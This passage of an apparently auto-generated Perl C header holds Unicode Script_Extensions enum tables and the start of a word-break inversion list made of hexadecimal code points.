SCX_Meetei_Mayek, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Latin, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Common, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_use_AUX_TABLE_9, - SCX_Arabic, - SCX_use_AUX_TABLE_9, - SCX_Unknown, - SCX_Inherited, - SCX_Common, - SCX_Unknown, - SCX_Inherited, - SCX_Cyrillic, - SCX_Common, - SCX_use_AUX_TABLE_31, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_use_AUX_TABLE_30, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_33, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_use_AUX_TABLE_21, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_Linear_B, - SCX_Unknown, - SCX_use_AUX_TABLE_43, - SCX_Unknown, - SCX_use_AUX_TABLE_44, - SCX_Unknown, - SCX_use_AUX_TABLE_43, - SCX_Greek, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Common, - SCX_Inherited, - SCX_Unknown, - SCX_Lycian, - SCX_Unknown, - SCX_Carian, - SCX_Unknown, - SCX_use_AUX_TABLE_45, - SCX_Unknown, - SCX_Old_Italic, - SCX_Unknown, - SCX_Old_Italic, - SCX_Gothic, - SCX_Unknown, - SCX_Old_Permic, - SCX_Unknown, - SCX_Ugaritic, - SCX_Unknown, - SCX_Ugaritic, - SCX_Old_Persian, - SCX_Unknown, - SCX_Old_Persian, - SCX_Unknown, - SCX_Deseret, - SCX_Shavian, - SCX_Osmanya, - SCX_Unknown, - SCX_Osmanya, - SCX_Unknown, - SCX_Osage, - SCX_Unknown, - SCX_Osage, - SCX_Unknown, - SCX_Elbasan, - SCX_Unknown, - SCX_Caucasian_Albanian, - SCX_Unknown, - SCX_Caucasian_Albanian, - SCX_Unknown, - SCX_Linear_A, - SCX_Unknown, - SCX_Linear_A, - SCX_Unknown, - SCX_Linear_A, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Unknown, - SCX_Cypriot, - SCX_Imperial_Aramaic, - SCX_Unknown, - SCX_Imperial_Aramaic, - SCX_Palmyrene, - SCX_Nabataean, - SCX_Unknown, - SCX_Nabataean, - SCX_Unknown, - SCX_Hatran, - SCX_Unknown, - SCX_Hatran, - SCX_Unknown, - SCX_Hatran, - SCX_Phoenician, - SCX_Unknown, - SCX_Phoenician, - SCX_Lydian, - SCX_Unknown, - SCX_Lydian, - SCX_Unknown, - SCX_Meroitic_Hieroglyphs, - SCX_Meroitic_Cursive, - SCX_Unknown, - SCX_Meroitic_Cursive, - SCX_Unknown, - SCX_Meroitic_Cursive, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Kharoshthi, - SCX_Unknown, - SCX_Old_South_Arabian, - SCX_Old_North_Arabian, - SCX_Unknown, - SCX_Manichaean, - SCX_Unknown, - SCX_Manichaean, - SCX_Unknown, - SCX_Avestan, - SCX_Unknown, - SCX_Avestan, - SCX_Inscriptional_Parthian, - SCX_Unknown, - SCX_Inscriptional_Parthian, - SCX_Inscriptional_Pahlavi, - SCX_Unknown, - SCX_Inscriptional_Pahlavi, - SCX_Psalter_Pahlavi, - SCX_Unknown, - SCX_Psalter_Pahlavi, - SCX_Unknown, - SCX_Psalter_Pahlavi, - SCX_Unknown, - SCX_Old_Turkic, - SCX_Unknown, - SCX_Old_Hungarian, - SCX_Unknown, - SCX_Old_Hungarian, - SCX_Unknown, - SCX_Old_Hungarian, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Brahmi, - SCX_Unknown, - SCX_Brahmi, - SCX_Unknown, - SCX_Brahmi, - SCX_Kaithi, - SCX_Unknown, - SCX_Sora_Sompeng, - SCX_Unknown, - SCX_Sora_Sompeng, - SCX_Unknown, - SCX_Chakma, - SCX_Unknown, - SCX_Chakma, - SCX_Unknown, - SCX_Mahajani, - SCX_Unknown, - SCX_Sharada, - SCX_Unknown, - SCX_Sharada, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Khojki, - SCX_Unknown, - SCX_Khojki, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Multani, - SCX_Unknown, - SCX_Khudawadi, - SCX_Unknown, - SCX_Khudawadi, - SCX_Unknown, - SCX_Grantha, - SCX_use_AUX_TABLE_18, - SCX_Grantha, - SCX_use_AUX_TABLE_18, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_use_AUX_TABLE_18, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Grantha, - SCX_Unknown, - SCX_Newa, - SCX_Unknown, - SCX_Newa, - SCX_Unknown, - SCX_Newa, - SCX_Unknown, - SCX_Tirhuta, - SCX_Unknown, - SCX_Tirhuta, - SCX_Unknown, - SCX_Siddham, - SCX_Unknown, - SCX_Siddham, - SCX_Unknown, - SCX_Modi, - SCX_Unknown, - SCX_Modi, - SCX_Unknown, - SCX_Mongolian, - SCX_Unknown, - SCX_Takri, - SCX_Unknown, - SCX_Takri, - SCX_Unknown, - SCX_Ahom, - SCX_Unknown, - SCX_Ahom, - SCX_Unknown, - SCX_Ahom, - SCX_Unknown, - SCX_Warang_Citi, - SCX_Unknown, - SCX_Warang_Citi, - SCX_Unknown, - SCX_Zanabazar_Square, - SCX_Unknown, - SCX_Soyombo, - SCX_Unknown, - SCX_Soyombo, - SCX_Unknown, - SCX_Soyombo, - SCX_Unknown, - SCX_Pau_Cin_Hau, - SCX_Unknown, - SCX_Bhaiksuki, - SCX_Unknown, - SCX_Bhaiksuki, - SCX_Unknown, - SCX_Bhaiksuki, - SCX_Unknown, - SCX_Bhaiksuki, - SCX_Unknown, - SCX_Marchen, - SCX_Unknown, - SCX_Marchen, - SCX_Unknown, - SCX_Marchen, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Masaram_Gondi, - SCX_Unknown, - SCX_Cuneiform, - SCX_Unknown, - SCX_Cuneiform, - SCX_Unknown, - SCX_Cuneiform, - SCX_Unknown, - SCX_Cuneiform, - SCX_Unknown, - SCX_Egyptian_Hieroglyphs, - SCX_Unknown, - SCX_Anatolian_Hieroglyphs, - SCX_Unknown, - SCX_Bamum, - SCX_Unknown, - SCX_Mro, - SCX_Unknown, - SCX_Mro, - SCX_Unknown, - SCX_Mro, - SCX_Unknown, - SCX_Bassa_Vah, - SCX_Unknown, - SCX_Bassa_Vah, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Pahawh_Hmong, - SCX_Unknown, - SCX_Miao, - SCX_Unknown, - SCX_Miao, - SCX_Unknown, - SCX_Miao, - SCX_Unknown, - SCX_Tangut, - SCX_Nushu, - SCX_Unknown, - SCX_Tangut, - SCX_Unknown, - SCX_Tangut, - SCX_Unknown, - SCX_use_AUX_TABLE_36, - SCX_use_AUX_TABLE_35, - SCX_Unknown, - SCX_Nushu, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Duployan, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Inherited, - SCX_Common, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_SignWriting, - SCX_Unknown, - SCX_SignWriting, - SCX_Unknown, - SCX_SignWriting, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Glagolitic, - SCX_Unknown, - SCX_Mende_Kikakui, - SCX_Unknown, - SCX_Mende_Kikakui, - SCX_Unknown, - SCX_Adlam, - SCX_Unknown, - SCX_Adlam, - SCX_Unknown, - SCX_Adlam, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_use_AUX_TABLE_35, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_use_AUX_TABLE_29, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Common, - SCX_Unknown, - SCX_Inherited, - SCX_Unknown -}; - -# endif /* EBCDIC 037 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV _Perl_WB_invlist[] = { /* for ASCII/Latin1 */ - 1721, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xA, - 0xB, - 0xD, - 0xE, - 0x20, - 0x21, - 0x22, - 0x23, - 0x27, - 0x28, - 0x2C, - 0x2D, - 0x2E, - 0x2F, - 0x30, - 0x3A, - 0x3B, - 0x3C, - 0x41, - 0x5B, - 0x5F, - 0x60, - 0x61, - 0x7B, - 0x85, - 0x86, - 0xA0, - 0xA1, - 0xAA, - 0xAB, - 0xAD, - 0xAE, - 0xB5, - 0xB6, - 0xB7, - 0xB8, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2D8, - 0x2DE, - 0x2E5, - 0x2EC, - 0x300, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x589, - 0x58A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x5F4, - 0x5F5, - 0x600, - 0x606, - 0x60C, - 0x60E, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x620, - 0x64B, - 0x660, - 0x66A, - 0x66B, - 0x66C, - 0x66D, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6DD, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7C0, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7F8, - 0x7F9, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x840, - 0x859, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x966, - 0x970, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9E4, - 0x9E6, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC81, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD58, - 0xD5F, - 0xD62, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xE50, - 0xE5A, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102B, - 0x103F, - 0x1040, - 0x104A, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1715, - 0x1720, - 0x1732, - 0x1735, - 0x1740, - 0x1752, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x17B4, - 0x17D4, - 0x17DD, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A17, - 0x1A1C, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BF4, - 0x1C00, - 0x1C24, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1D00, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2000, - 0x200B, - 0x200C, - 0x200D, - 0x200E, - 0x2010, - 0x2018, - 0x201A, - 0x2024, - 0x2025, - 0x2027, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x203F, - 0x2041, - 0x2044, - 0x2045, - 0x2054, - 0x2055, - 0x205F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x261D, - 0x261E, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, - 0x26F9, - 0x26FA, - 0x2708, - 0x2709, - 0x270A, - 0x270E, - 0x2764, - 0x2765, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3000, - 0x3001, - 0x3005, - 0x3006, - 0x302A, - 0x3030, - 0x3031, - 0x3036, - 0x303B, - 0x303D, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x32D0, - 0x32FF, - 0x3300, - 0x3358, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA717, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA90A, - 0xA926, - 0xA92E, - 0xA930, - 0xA947, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9CF, - 0xA9D0, - 0xA9DA, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xAA00, - 0xAA29, - 0xAA37, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAE0, - 0xAAEB, - 0xAAF0, - 0xAAF2, - 0xAAF5, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, 